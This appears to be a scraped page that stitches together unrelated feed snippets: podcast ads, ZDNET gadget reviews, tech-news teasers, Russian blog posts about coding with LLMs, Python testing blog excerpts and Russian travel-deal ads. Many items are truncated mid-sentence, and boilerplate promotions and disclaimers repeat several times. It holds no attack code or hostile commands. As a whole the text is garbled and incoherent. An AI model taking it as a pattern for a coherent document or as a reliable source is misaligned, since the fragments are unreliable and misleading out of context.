Open-ended questions only.

3 models · 4 project types · 20 tool categories · 85.3% extraction rateUpdate: Sonnet 4.6 was released on Feb 17, 2026.

We'll run the benchmark against it and update results soon.

Augment Code – Adam loves “Auggie” – Augment Code’s CLI that brings Augment’s context engine and powerful AI reasoning anywhere your code goes.

From building alongside you in the terminal to any part of your development workflow.

Squarespace – Turn your expertise into a business with the all-in-one platform for websites, services, and getting paid.

Use code CHANGELOG to save 10% on your first website purchase.

Notion – Custom Agents that automate the busywork so your team can focus on real work.

Changelog News!

The software newsletter that's also a podcastThe software world moves fast... keep up the easy way!

Let us track changes & Jerod will let you know what's up each Monday.

Steve Ruiz joins us for a deep-dive on tldraw (a very good free whiteboard) and the business he’s built selling SDKs that help others build very good whiteboards (and more) with tldraw’s high-performance web canvas.

Along the way, we discuss the excitement/fear we share about keeping our agents busy, how SDK and infra companies are affected differently by agentic software than SaaS companies, how Steve is approaching the coming era of internal tooling, what will happen when we equip LLMs with an infinite canvas, and more.

Changelog News!

The software newsletter that's also a podcastThe software world moves fast... keep up the easy way!

Let us track changes & Jerod will let you know what's up each Monday.

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Changelog News!

The software newsletter that's also a podcastThe software world moves fast... keep up the easy way!

Let us track changes & Jerod will let you know what's up each Monday.

Tiger Data – Postgres for Developers, devices, and agents The data platform trusted by hundreds of thousands from IoT to Web3 to AI and more.

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(Much) faster GitHub actions, Docker builds, and more.

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Changelog News!

The software newsletter that's also a podcastThe software world moves fast... keep up the easy way!

Let us track changes & Jerod will let you know what's up each Monday.

Tiger Data – Postgres for Developers, devices, and agents The data platform trusted by hundreds of thousands from IoT to Web3 to AI and more.

Namespace – Speed up your development and testing workflows using your existing tools.

At an unbeatable price.

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Use code CHANGELOG to save 10% on your first website purchase.

Namespace – Speed up your development and testing workflows using your existing tools.

At an unbeatable price.

Tiger Data – Postgres for Developers, devices, and agents The data platform trusted by hundreds of thousands from IoT to Web3 to AI and more.

Squarespace – A website makes it real!

Use code CHANGELOG to save 10% on your first website purchase.

Changelog News!

The software newsletter that's also a podcastThe software world moves fast... keep up the easy way!

Let us track changes & Jerod will let you know what's up each Monday.

It’s like, I don’t know if you’re a golfer, Tim, but that’s what golf folks say as well.

And golf tech, like any tech, is just limitless really what they can fine tune and dial in.

I’m being facetious, but you know, golf rounds aren’t cheap, golf trips with friends aren’t cheap, golf clubs are not cheap.

And so that today is my TrueNAS box.

I kind of want my TrueNAS box to do everything.

[ ] Well, there’s, and we’ve talked a lot about the building of a company and the building of software now.

And I think founders today have that, it is as important as the thing that they’re building, right?

And if you’re a developer building an agent, it could be your sales agent, it could be a developer of a coding agent.

And you connect up to the Layercode voice layer and put in our browser SDK and then you get a little voice agent microphone button and everything in the web app.

There’s a lot of trade-offs, right, in voice between latency, price, quality, so we let users explore that and find the right fit for their voice agent.

We gather data from the best available sources, including vendor and retailer listings as well as other relevant and independent reviews sites.

And we pore over customer reviews to find out what matters to real people who already own and use the products and services we’re assessing.

When you click through from our site to a retailer and buy a product or service, we may earn affiliate commissions.

Neither ZDNET nor the author are compensated for these independent reviews.

Our editors thoroughly review and fact-check every article to ensure that our content meets the highest standards.

Baseus Nomos 245W charging station ZDNET's key takeaways Baseus' Nomos charging station is available for $200.

It's a very powerful desktop charging station with six different outlets and no problem outputting the full 245W of power.

I have a charging station on my nightstand that handles the overnight charging of my daily carry.

The Baseus Nomos NH21 245W 6-in-1 USB-C charging station is the perfect desktop charging station as it has enough power and outlets to handle all my devices.

Adrian Kingsley-Hughes/ZDNETZDNET's buying advice$200 is a lot to pay for a charging station, but this is no ordinary unit.

XR glasses continue to improve with increased brightness, improved audio output, and other advances in technology.

Most of these improvements come with increasing prices, too, but RayNeo continues to offer a solid entry-level option for $299 with the RayNeo Air 4 Pro.

Batman (or Joker) themedIn addition to the standard glasses, RayNeo offers Batman- or Joker-themed options at an additional cost.

Also: These XR glasses gave me a 200-inch OLED screen to work withThe RayNeo Air 4 Pro is not the most advanced pair of XR glasses, but it is also priced $200 less than the flagship models.

If you want it for ultra-wide-screen or multi-display use, consider another pair of XR glasses.

Ulefone Armor Mini 20 Pro ZDNET's key takeaways The Ulefone Armor Mini 20 Pro is available now for $350.

The Armor Mini 20 Pro is 5.26 inches in length and 2.49 inches wide, which makes it seem tiny next to the iPhone.

Well, the Armor Mini 20 Pro is built to take a beating.

Where the Armor Mini 20 Pro shines is when you take it out of the home or office and take it out into the workshop or garage or into the woods.

Best of all: the Ulefone Armor Mini 20 Pro isn't expensive.

Acer Veriton NUC AI PC ZDNET's key takeaways The Acer Veriton NUC AI PC typically sells for around $1,000, depending on the configuration..

This mini PC has a very small footprint, while offering multi-monitor support, robust cooling, and smooth performance.

I confronted that question head on when I recently tested the Acer Veriton NUC AI PC, a tiny Copilot PC designed for businesses.

ZDNET's buying adviceThe Acer Veriton NUC AI PC normally retails for $1,050, but is frequently on sale, mouse and keyboard included.

I would recommend this mini PC to professional users who need a compact, secure desktop with modern hardware and that takes up no space.

Last year, Apple rolled out a new health feature for Apple Watch users in the form of hypertension notifications.

If such patterns are identified, it sends a notification suggesting the user get a blood pressure cuff to measure and track blood pressure for seven days.

Also: Best blood pressure watches: I tested the top models that actually workI wore my Apple Watch daily and never got any such notification.

I'd always hated the cuff-style blood pressure monitors, so it wasn't something I kept an eye on much.

Yup, the kit comes with a standard blood pressure cuff that's used for calibration.

AI auditors need both AI expertise and business knowledge.

The relentless rise of artificial intelligence (AI) is creating a new role for business and technology professionals to consider: AI auditor.

The role bears a striking resemblance to that of financial auditors, with a major exception: AI auditors monitor and report on the behavior of AI transactions rather than monetary transactions.

Behavioral monitoring: The AI auditor will verify that the AI model's behavior "is predictable and observable, and all of the model's actions -- such as integration, API, MCP, RAG -- are traceable and logged."

The AI auditor will verify that the AI model's behavior "is predictable and observable, and al…

AVG Antivirus Free features: Scans device for viruses and malware | Quarantine | Multi-platform | Suspicious activity alerts | Unsafe file blocking | Trustpilot: 4.4 Pros Easy to useSolid protectionHighly rated by customers Cons Upselling can be irritating AVG Antivirus Free Best free antivirus software If you're looking for a free antivirus solution, AVG is behind one of my favorite options.

Also: Why you don't need to pay for antivirus software anymore | The best free antivirus software: Expert testedWhat is the best antivirus software?

AVG Antivirus Free A solid, free antivirus program.

Show moreLatest information on antivirus software in 2026A phishing scam impersonating Avast antivirus…

ZDNET's key takeawaysGoogle Messages now lets you share your location in real time.

Google Messages has added a real-time location-sharing feature that lets you share your current location in a text message.

The "Find My" app has a similar option, but the new way lets you share your location without leaving Google Messages.

How to share your real-time location with Google MessagesYou can find the feature in the same place as the old one.

Instead of doing away with the current option, Google has split the "Location" feature into "Real-time location" and "One-time location" options.

ZDNET's key takeawaysUltrahuman unveiled its Ultrahuman Ring Pro.

The smart ring maker unveiled the Ultrahuman Ring Pro on Friday, and the newest smart ring offers significant upgrades over the Ultrahuman Ring Air, which debuted in 2023.

Also: Why your Oura Ring battery is dying quicker (and what Oura is doing about it)On the ring itself, Ultrahuman upgraded its smart ring to store up to 250 days of data.

These swelling incidents are not common, but the Ring Pro offers a solution to this smart ring problem -- in the rare event it does happen.

Ultrahuman is running a trade-in deal that gives participating customers up to $115 off the ring when they trade in their old Ultrahuman smart ring or…

Last year Google made a big splash in the world of AI-powered image creation with its Nano Banana model.

Accessible to free and paid users, the new model replaces the first Nano Banana everywhere.

Nano Banana 2 uses Gemini's real-world knowledge and images from web searches to try to more accurately create your images.

Screenshot by Lance Whitney/ZDNETBased on these prompts, Nano Banana 2 seems like a worthwhile upgrade over the prior generation.

Google AI Pro and Ultra subscribers can still use the legacy Nano Banana Pro for more specialized tasks.

We gather data from the best available sources, including vendor and retailer listings as well as other relevant and independent reviews sites.

And we pore over customer reviews to find out what matters to real people who already own and use the products and services we’re assessing.

When you click through from our site to a retailer and buy a product or service, we may earn affiliate commissions.

Neither ZDNET nor the author are compensated for these independent reviews.

Our editors thoroughly review and fact-check every article to ensure that our content meets the highest standards.

Samsung offers everything from high-end OLED TVs to budget-friendly options, and we've tested them all to help you find the best fit for your home theater.

OpenAI's CEO claims its new defense contract includes protections addressing the same issues that became a flashpoint for Anthropic.

We round up everything Xiaomi announced at its Mobile World Congress event.

China’s push into humanoid robots is accelerating, with domestic firms shipping more units and iterating faster than U.S. competitors in a still-nascent market.

India, one of Supabase’s biggest markets, is seeing patchy access after a government block order.

The company said such trades violates its internal company policies about using confidential information for personal gain.

"We don't need it, we don't want it, and will not do business with them again," the president wrote in the post.

In his lawsuit against OpenAI, Musk touted xAI safety compared with ChatGPT. A few months later, xAI's Grok flooded X with non-consensual nude images.

Anthropic and the Pentagon are clashing over AI use in autonomous weapons and surveillance, raising high-stakes questions about national security, corporate control, and who sets the rules for military AI.

OpenAI shared the new numbers as part of its announcement that it has raised $110 billion in private funding.

Suno lets users create music using natural language prompts, making it possible for people with little experience to generate audio with little effort.

As Netflix continues its live sports push, the company has partnered with Apple to air the Formula 1 Canadian Grand Prix.

Perplexity Computer, in the company’s words, "unifies every current AI capability into a single system."

CNN reports that images from Iran's capital "have shown cars jammed along Tehran's street, with heavy traffic on major roads after today's wave of attacks by the US and Israel." And though Iran has a population of 93 million, the attacks suddenly plunged Iran into "a near-total internet blackout with national connectivity at 4% of ordinary levels," according to internet monitoring experts at NetBlocks. CNN reports: Since Iran's brutal crackdown earlier this year, the regime has made progress to allow only a subset of people with security clearance to access the international web, experts said. After previous internet shutdowns, some platforms never returned. The Iranian government blocked I…

Tuesday Pew Research announced their newest findings: that 54% of America's teens use AI help with schoolwork:

One-in-five teens living in households making less than $30,000 a year say they do all or most of their schoolwork with AI chatbots' help. A similar share of those in households making $30,000 to just under $75,000 annually say this. Fewer teens living in higher-earning households (7%) say the same." "The survey did not ask students whether they had used chatbots to write essays or generate other assignments..." notes the New York Times. "But nearly 60% of teenagers told Pew that students at their school used chatbots to cheat 'very often' or 'somewhat often.'" Agreeing with that a…

A start-up called Reflect Orbital "proposes to use large, mirrored satellites to redirect sunlight to Earth at night," reports the Washington Post, "with plans to bathe solar farms, industrial sites and even entire cities in light that could, if desired, reach the intensity of daylight...." Slashdot noted their idea in 2022 — but Reflect Orbital now expects to launch its first satellite in April, according to the article. "But its grand vision is largely 'aspirational,' as its young founder, Ben Nowack, told me..." Reflect Orbital's Nowack describes a scene right out of sci-fi: An extremely bright star appears on the northern horizon and makes its way across the sky, illuminating a 5-kilome…

A start-up called Reflect Orbital "proposes to use large, mirrored satellites to redirect sunlight to Earth at night," reports the Washington Post, "with plans to bathe solar farms, industrial sites and even entire cities in light that could, if desired, reach the intensity of daylight...." Slashdot noted their idea in 2022 — but Reflect Orbital now expects to launch its first satellite in April, according to the article. "But its grand vision is largely 'aspirational,' as its young founder, Ben Nowack, told me..." Reflect Orbital's Nowack describes a scene right out of sci-fi: An extremely bright star appears on the northern horizon and makes its way across the sky, illuminating a 5-kilome…

An anonymous reader quotes a report from Ars Technica: Google on Friday unveiled its plan for its Chrome browser to secure HTTPS certificates against quantum computer attacks without breaking the Internet. The objective is a tall order. The quantum-resistant cryptographic data needed to transparently publish TLS certificates is roughly 40 times bigger than the classical cryptographic material used today. Today's X.509 certificates are about 64 bytes in size, and comprise six elliptic curve signatures and two EC public keys. This material can be cracked through the quantum-enabled Shor's algorithm. Certificates containing the equivalent quantum-resistant cryptographic material are roughly 2.…

On February 24th, the Vera C. Rubin Observatory activated its automated alert system, sending out roughly 800,000 real-time notifications flagging asteroids, supernovae, flaring black holes and "other transient celestial events," reports Scientific American. And this is only the beginning -- that number is projected to climb into the millions as it continues scanning the ever-changing sky. From the report: The astronomical observatory equipped with world's largest camera hit a key milestone on February 24, when a complex data-processing system pushed hundreds of thousands of alerts out to scientists eager to pore over its most exciting sightings. The Vera C. Rubin Observatory began operatio…

Southern California's air quality board rejected proposed rules to phase out gas-powered appliances after receiving more than 20,000 opposition comments generated through CiviClick, "the first and best AI-powered grassroots advocacy platform." Phys.org reports: A Southern California-based public affairs consultant, Matt Klink, has taken credit for using CiviClick to wage the opposition campaign, including in a sponsored article on the website Campaigns and Elections. The campaign "left the staff of the Southern California Air Quality Management District (SCAQMD) reeling," the article says. It is not clear how AI was deployed in the campaign, and officials at CiviClick did not respond to rep…

An anonymous reader quotes a report from Wired: OpenAI has fired an employee following an investigation into their activity on prediction market platforms including Polymarket, WIRED has learned. OpenAI CEO of Applications, Fidji Simo, disclosed the termination in an internal message to employees earlier this year. The employee, she said, "used confidential OpenAI information in connection with external prediction markets (e.g. Polymarket)." "Our policies prohibit employees from using confidential OpenAI information for personal gain, including in prediction markets," says spokesperson Kayla Wood. OpenAI has not revealed the name of the employee or the specifics of their trades. Evidence su…

Researchers at Cortical Labs used living human neurons grown on a chip to learn how to play Doom in about a week. "While its performance is not up to par with humans, experts say it brings biological computers a step closer to useful real-world applications, like controlling robot arms," reports New Scientist. From the report: In 2021, the Australian company Cortical Labs used its neuron-powered computer chips to play Pong. The chips consisted of clumps of more than 800,000 living brain cells grown on top of microelectrode arrays that can both send and receive electrical signals. Researchers had to carefully train the chips to control the paddles on either side of the screen. Now, Cortical …

Author Dan Simmons, best known for the epic sci-fi novel Hyperion and its sequels, has died at 77 following a stroke. Ars Technica's Eric Berger remembers Simmons, writing: Simmons, who worked in elementary education before becoming an author in the 1980s, produced a broad portfolio of writing that spanned several genres, including horror fiction, historical fiction, and science fiction. Often, his books included elements of all of these. This obituary will focus on what is generally considered his greatest work, and what I believe is possibly the greatest science fiction novel of all time, Hyperion. Published in 1989, Hyperion is set in a far-flung future in which human settlement spans hu…

New submitter DeanonymizedCoward shares a report from TechCrunch: The U.S. Cybersecurity and Infrastructure Security Agency (CISA) is reportedly in crisis following major budget cuts, layoffs, and furloughs under the Trump administration, says TechCrunch. The agency has now replaced its acting director, Madhu Gottumukkala, after a turbulent year marked by controversy and internal turmoil. During his tenure, Gottumukkala allegedly mishandled sensitive information by uploading government documents to ChatGPT, oversaw a one-third reduction in staff, and reportedly failed a counterintelligence polygraph needed for classified access. His leadership also saw the suspension of several senior offic…

Игра, чтобы выучить свой район

Как ведь бывает, переехал в новый район, а там все улицы незнакомые. Как вот их учить?

Сделал игру: Случайный положительный эффект: можно легко сравнить масштаб городов, понять, что Садовое в Москве — это от Фонтанки с заходом на начало Васьки и Петроградки.

Thick clients were the dominant form of device throughout the PC and mobile era; in an AI world, however, thin clients make much more sense.

I have a new small project: edtext provides text

selection and manipulation functions inspired by the classic ed

text editor.I’ve long used cog to build documentation and HTML

presentations. Cog interpolates text from elsewhere, like source code or

execution output. Often I don’t want the full source file or all of the lines of

output. I want to be able to choose the lines, and sometimes I need to tweak the

lines with a regex to get the results I want.Long ago I wrote my own ad-hoc function to include a

file and over the years it had grown “organically”, to use a positive word. It

had become baroque and confusing. Worse, it still didn’t do all the things I

needed.The old function has 16 arg…

Microsoft got hammered on Wall Street for capacity allocation decisions that were the right ones: the software that wins will use AI to usurp other software.

Давным давно я как-то работал в Крупной Немецкой Компании. Хороший добротный IT-корпорат, всё как по книжке, со своими плюсами-минусами, многим такое нравится.

If hyperscalers and chip companies don't build up a TSMC competitor they are set to forego billions of dollars in revenue and stunt the AI revolution.

На пост меня натолкнула рабочая ситуация: Я написал (будем честны, попросил ллм написать) один скрипт, и некоторые коллеги прореагировали «о, давно о таком мечтаю». И у меня в голове щелкнуло.

Когда я сейчас написал про один промт, я не утрировал, это был реально один промт.

Сейчас простые задачи решаются ллмками достаточно хорошо. Ядро линукса они все еще не напишут, но пропарсить все ресурсные файлы проекта, сгруппировать одинаковые строчки и дать к ним мгновенный поиск — это задача на один промт. И все, что удерживает людей сейчас, от того, что некоторая часть их задач начнет быть проще — рефлексия. Все что нужно — остановиться, и заметить момент «ага, я тут хочу упрощение, которое возмо…

Two testing-related things I found recently.Unified exception testingKacper Borucki blogged about parameterizing exception

testing, and linked to pytest docs and a

StackOverflow answer with similar approaches.The common way to test exceptions is to use

pytest.raises as a context manager, and have

separate tests for the cases that succeed and those that fail. Instead, this

approach lets you unify them.I tweaked it to this, which I think reads nicely:from contextlib import nullcontext as produces import pytest

from pytest import raises @pytest.mark.parametrize( "example_input, result", [ (3, produces(2)), (2, produces(3)), (1, produces(6)), (0, raises(ZeroDivisionError)), ("Hello", raises(Typ…

Я задал один и тот же промт нескольким моделям и вот что вышло

Промт

Прочитай @/llm/PRD.md и сверстай статическую html-страницу about. Укажи в ней все преимущества, придумай как их проиллюстрировать, используй модный современный дизайн Сохрани в файл about-page/{model-name}.html Ориентируйся только на prd, не используй about-страницу.Эксперимент проведен в декабре 2025-январе 2026. Использовался openrouter или облака ллммок. В скриншотах могут быть небольшие артефакты, скриншоты снимал плейрайт, он не умеет в стики-позиции.

Для сравнения дизайн кожаного мешка (меня): https://recipe-scaler.ru/#/about

Gemini 3 pro Grok code fast 1 Minimax 2.1 Minimax 2.1 Minimax 2.1 Minimax 2.1

Тут я просил ш…

Клод код (Claude Code) заботится обо мне и показывает команды на согласования, к сожалению, он делает это без уважения плохо.

Посмотрите на этот апрув: Выполняет трехстрочную шелл-команду с вложенными конструкциями: циклы, условия. Если там где-то будет какая-то ошибка, я её просто не замечу.

Я не специально выбирал, что скриншотить, они все такие: У меня остается два варианта: Как мартышка жать и жать на кнопку «Approve». В итоге вырабатывается привычка, которая не даст мне себя защититить в опасной ситуации. См. принцип «подтверждения не работают».

Один раз апрувнуть тоже не выйдет, потому что эта конкретная трехэтажная команда вряд ли когда-нибудь появится.

Согласитья на YOLO (You Only L…

На новогодние праздники вышли два больших апдейта recipe-scaler

Первый апдейт — публичный профиль и коллекции

Сейчас можно шарить не только рецепты как одну штуку, но и всю коллекцию.

Или выборочно, или прибранные рецепты (с рецептом и фоткой), или вообще все-все-все

https://recipe-scaler.ru/#/public/@/mike.ozornin Интеграция с ИИ-иссистентом

Можно через MCP подключиться к своему ассистенту. У кого-то клод, у кого-то курсор. Пока подглючивает чуток. Но смотрите, какая красота:

The first live sporting event was broadcast in the Vision Pro, and it's a big disappointment. The experience could be amazing, but Apple actively ruins it.

Делал большую фичу, попросил ревью у ИИ. Попросил найти важные моменты во всех областях: безопасность, логика, деплой, производительность и прочее, и прочее.

Опус 4.5 (лучшая на сейчас ЛЛМ в мире) написал: Критикал sql-инъекция. Как оказалось: пользователь сам себе после всех входов и разрешений на свой же запрос получит чуть больше своих же результатов. Опус не написал: Конфиг nginx забыли поправить и ничего не будет работать в целом.

Сервис-воркер (фоновый код в браузерном приложении) блокировал работу новой вещи, перехватывая все обращения на себя.

Кеширование oauth-запросов было настроено некорректно.

Часовые пояса неправильные, посему токен не имел шансов подойти.

Некоторые адреса обра…

AI might replace all of the jobs; that's only a problem if you think that humans will care, but if they care, they will create new jobs.

This morning I shared a link to this site, and the recipient said, “it looks

like a file.” I thought they meant the page was all black and white with no

color. No, they were talking about the URL, which ended with “.html”.This site started almost 24 years ago as

a static site: a pile of .html files created on my machine and uploaded to the

server. The URLs naturally had .html extensions. It was common in web sites of

the time.Over the years, the technology has changed. In 2008, it was still a static

site on the host, but produced with

Django running locally. In 2021, it became a

real Django site on the host.Through all these changes, the URLs remained the same—they still had

the old-fashion…

In my last blog post (A testing conundrum), I described

trying to test my Hasher class which hashes nested data. I couldn’t get

Hypothesis to generate usable data for my test. I wanted to assert that two

equal data items would hash equally, but Hypothesis was finding pairs like

[0] and [False]. These are equal but hash differently because the

hash takes the types into account.In the blog post I said,If I had a schema for the data I would be comparing, I could use it to

steer Hypothesis to generate realistic data. But I don’t have that

schema...I don’t want a fixed schema for the data Hasher would accept, but tests to

compare data generated from the same schema. It shouldn’t compare a list o…

In my last blog post (A testing conundrum), I described

trying to test my Hasher class which hashes nested data. I couldn’t get

Hypothesis to generate usable data for my test. I wanted to assert that two

equal data items would hash equally, but Hypothesis was finding pairs like

[0] and [False]. These are equal but hash differently because the

hash takes the types into account.In the blog post I said,If I had a schema for the data I would be comparing, I could use it to

steer Hypothesis to generate realistic data. But I don’t have that

schema...I don’t want a fixed schema for the data Hasher would accept, but tests to

compare data generated from the same schema. It shouldn’t compare a list o…

The most popular and most important posts on Stratechery in 2025.

In coverage.py, I have a class for computing the fingerprint of a data

structure. It’s used to avoid doing duplicate work when re-processing the same

data won’t add to the outcome. It’s designed to work for nested data, and to

canonicalize things like set ordering. The slightly simplified code looks like

this:class Hasher: """Hashes Python data for fingerprinting.""" def __init__(self) -> None: self.hash = hashlib.new("sha3_256") def update(self, v: Any) -> None: """Add `v` to the hash, recursively if needed.""" self.hash.update(str(type(v)).encode("utf-8")) match v: case None: pass case str(): self.hash.update(v.encode("utf-8")) case bytes(): self.hash.update(v) case int() | float(): self.…

Update: I found a solution which I describe in

Generating data shapes with Hypothesis.In coverage.py, I have a class for computing the fingerprint of a data

structure. It’s used to avoid doing duplicate work when re-processing the same

data won’t add to the outcome. It’s designed to work for nested data, and to

canonicalize things like set ordering. The slightly simplified code looks like

this:class Hasher: """Hashes Python data for fingerprinting.""" def __init__(self) -> None: self.hash = hashlib.new("sha3_256") def update(self, v: Any) -> None: """Add `v` to the hash, recursively if needed.""" self.hash.update(str(type(v)).encode("utf-8")) match v: case None: pass case str(): self.hash.u…

2024, 2023, 2022, 2021, 2020, 2019, 2018, 2017, 2016, 2015, 2014, 2013, 2012, 2011, 2010, 2009, 2008 Нет, Дядя Вострек, не умеешь ты хайпить. Надо было больше пиздеть и меньше делать, а ты наоборот начал — много делаешь и мало пиздишь. А это прямой путь к выгоранию и забвению одновременно...

Необычный год вышел, мда. Я потерял работу и так и не смог найти новую ? или не смог найти сил опять танцевать бинарные деревья на интервью? . Навайбкодил несколько проектов, на некоторые из которых потр…

Netflix is driving the Hollywood end game, likely confident it can increase the value of IP, and fend off YouTube.

Осознал недавно, чем вайб-кодинг в его классическом виде похож на лудоманию и при чем тут дофамин

Что за вайб-кодинг такой

Давайте сначала начнем с определений. Не каждая разработка с ллмкой — вайб-кодинг, но каждый вайб-кодинг — разработка с помощью ллмки.

Вайб-кодингом я буду называть программирование с помощью ллмки, в котором есть вот такие характеристики: Мало изначального планирования. Буквально короткое описание, вкинутое в ллмку и потом разберемся походу.

Попытка сразу попасть в нужную конечную точку. Желательно за одну итерацию.

Значительная часть кода написана ллмкой. Человек в целом не читает весь код, не проверяет его, только смотрит на результат. Архитектура придумана тоже ллмк…

OpenAI and Nvidia are both under threat from Google; I like OpenAI's chances best, but they need an advertising model to beat Google as an Aggregator.

В сайд-бай-сайде вышла следующая версия

Изменения: Человекочитаемые URL для голосований

Было: /v/06b95c10-7688-4106-8e75-762035290c67/

Стало: /v/HairyParrotsPursueRudely/ Улучшение интеграции с Mattermost:

Сайд-бай-сайд сгенерирует превьюшки к уведомлениям в чате.

По окончании голосованию в чате будет итог голосования. Было: Стало: Мелочи: Кликабельные ссылки в описаниях. Ссылки в комментарии станут кликабельными.

На странице голосования теперь тоже показывается количество проголосовавших.

На странице голосований можно прокручивать картинки перетаскиванием мыши

Белый список доменов эл. почты. Можно указать домены, вход с которых будет разрешен.

Драг-н-дропать файлы можно на всю страницу, да…

Today is the publication of the third edition of Autism

Adulthood: Insights and Creative Strategies for a Fulfilling Life. It’s my

wife Susan’s book collecting stories and experiences from

people all along the autism spectrum, from the self-diagnosed to the

profound.The book includes dozens of interviews with autistic adults, their parents,

caregivers, researchers, and professionals. Everyone’s experience of autism is

different. Reading others’ stories and perspectives can give us a glimpse into

other possibilities for ourselves and our loved ones.If you have someone in your life on the spectrum, or are on it yourself, I

guarantee you will find new ways to understand the breadth of what aut…

Today is the publication of the third edition of Autism

Adulthood: Insights and Creative Strategies for a Fulfilling Life. It’s my

wife Susan’s book collecting stories and experiences from

people all along the autism spectrum, from the self-diagnosed to the

profound.The book includes dozens of interviews with autistic adults, their parents,

caregivers, researchers, and professionals. Everyone’s experience of autism is

different. Reading others’ stories and perspectives can give us a glimpse into

other possibilities for ourselves and our loved ones.If you have someone in your life on the spectrum, or are on it yourself, I

guarantee you will find new ways to understand the breadth of what aut…

Robotaxis are poised to further close the delta between suburbs and the city; the city (and Uber) might never recover.

In Why your mock doesn’t work I explained this rule of

mocking:Mock where the object is used, not where it’s

defined.That blog post explained why that rule was important: often a mock doesn’t

work at all if you do it wrong. But in some cases, the mock will work even if

you don’t follow this rule, and then it can break much later. Why?Let’s say you have code like this:# user.py def get_user_settings(): with open(Path("~/settings.json").expanduser()) as f: return json.load(f) def add_two_settings(): settings = get_user_settings() return settings["opt1"] + settings["opt2"] You write a simple test:def test_add_two_settings(): # NOTE: need to create ~/settings.json for this to work: # {"opt1": 1…

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My father in law runs a one man pest control business. For years I watched him manage everything with Excel, his iPhone calendar, and a patchwork of disconnected apps. Every evening after finishing his route he would spend an hour or two on a laptop typing up invoices and updating his schedule. He always said he should be able to do all of this from his phone. My co-founder Marcin and I are both senior engineers. We spent over a year building FieldSync to solve this. It is a mobile first field service app (React Native/Expo, Laravel backend) that handles scheduling, invoicing, Stripe payments, chemical tracking for regulatory compliance, a client portal, and reporting. We built it for pest …

I have wanted something similar for a long time and wanted to try my hand at making one. It uses and RP2040 and a screen and touch sensor. If you want to make your own all of the 3D models and links to the components and code are here submitted by /u/aranjello [link] [comments]

I built an Android app called Vedpath — a free app for reading Hindu scriptures (Bhagavad Gita, Vishnu Sahasranamam, Hanuman Chalisa, and more) with Sanskrit, transliteration, and English translations. It also has a Hindu festival calendar and a baby names section with Nakshatra-based filtering. The app is in closed alpha testing and I am looking for a handful of testers to try it out before public launch. **Features:** - 5 sacred texts with Sanskrit + transliteration + English - Daily mantra based on the day of the week - Hindu festival calendar with search - Baby names with meanings and Nakshatra filter - Light and dark mode - No ads, no login **To join the test:** 1. Join: https://groups…

I was seeing a lot of ads by Wishper Flow, and I thought even I can build it and so I did and also made it totally offline. Its made in Flutter cause I wanted to try how good flutter is for windows. All the audio files are stored locally and it uses the local Ollama AI model installed in your system. For transcription it uses the small Wishper.cpp model after downloading you can replace the model with a larger one if you wish but this small models works fine you can even speak in multiple languages at once and it will give you the combined transcription in English The best part is that you can customize the prompt which is given to AI along side your audio transcription so you it allows you…

In Udemy, In a specific Niche, Almost every course looks good at first glance. With so many options available, it's hard to narrow down to one specific course. Even after you shortlist 2, 3 of the best options, choosing between them is still confusing. There's no objective way to know which one is actually better. I have bought courses that looked great on the page but turned out to be outdated or shallow once I actually started watching them. So I built a simple comparison tool for myself. It compares similar Udemy courses using more than just star ratings and tries to pick the best option, with some reasoning behind the choice. Not saying it's perfect, but it has already helped me avoid a…

product hunt feels like its gone downhill for actual indie stuff -- last few times i launched there it was just vc backed companies with marketing budgets drowning everything out been trying to figure out where solo devs are actually getting discovered in 2026. ive tried a few directories and some subreddits but curious what's working for other people like where are you actually getting signups/traffic from? not looking for the obvious answers (post on twitter and pray). more interested in the directories, communities, aggregators etc that are actually sending real users submitted by /u/edmillss [link] [comments]

Genuinely asking because I keep seeing two completely different realities on here. One group says AI 10x'd their productivity - they're shipping faster, writing less boilerplate, automating client work, building SaaS products solo that used to need a team. The other group (quieter, but they're there) says after 6 months, they mostly use it for autocomplete and the occasional email. The "AI will do everything" dream never really materialised. I'm a CS grad about to make a career decision between a conventional fintech role and an AI-focused dev job. I keep reading Reddit threads where people say AI is the future and also threads where people say the hype is overblown and the real skill is st…

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У авиакомпании SalamAir промо-тариф: улететь из Маската в Найроби (или наоборот) можно от 6200 рублей (30 OMR). Для въезда в Кению нужно заранее оформить электронное разрешение (сбор около 30-35 USD с человека). Купить билеты можно на сайте авиакомпании или через trip.com / aviasales.ru (тут немного дороже, но зато принимают российские карты). Маскат — Найроби в декабре за 6200 рублей: Российской картой: […]

Авиакомпания Volotea выкатила билеты за 19 евро. Но можно легко оформить пробную подписку SUPERVOLOTEA на 15 дней и купить их за 9 евро. Обычно подписка на год стоит 60 евро. Лоукостер утверждает, что Вы можете отменить членство в любой момент, но потеряете при этом некоторые привилегии, например, ручную кладь, но сохраните свою скидку на проезд. Главное, не забудьте […]

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

с 2012 года мы ищем и находим дешевые авиабилеты, отели, туры и круизы.

А вы путешествуете почти бесплатно.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

А вы путешествуете почти бесплатно.

Прямо сейчас, пока вы читали этот блок, мы нашли ещё несколько билетов, а кто-то их купил.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

с 2012 года мы ищем и находим дешевые авиабилеты, отели, туры и круизы.

А вы путешествуете почти бесплатно.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

с 2012 года мы ищем и находим дешевые авиабилеты, отели, туры и круизы.

А вы путешествуете почти бесплатно.

Vandrouki (или Вандруки / Вандрули / Ванбрюки или как удобно) – это путешествия.

Способы путешествовать почти бесплатно.

Разумеется, Vandrouki – это высококвалифицированная команда амбициозных профессионалов своего дела.

А вы путешествуете почти бесплатно.

Прямо сейчас, пока вы читали этот блок, мы нашли ещё несколько билетов, а кто-то их купил.

Сегодня мы решили слепить готовое путешествие из Казани в Индонезию — вышло от 47200 рублей с человека при поездке вдвоем.

Авиакомпания Etihad Airways предлагает билеты из Казани на Бали за 44000 рублей туда-обратно.

Даты полетов: например, 11-24 декабря (проживание с 12 по 24 декабря).

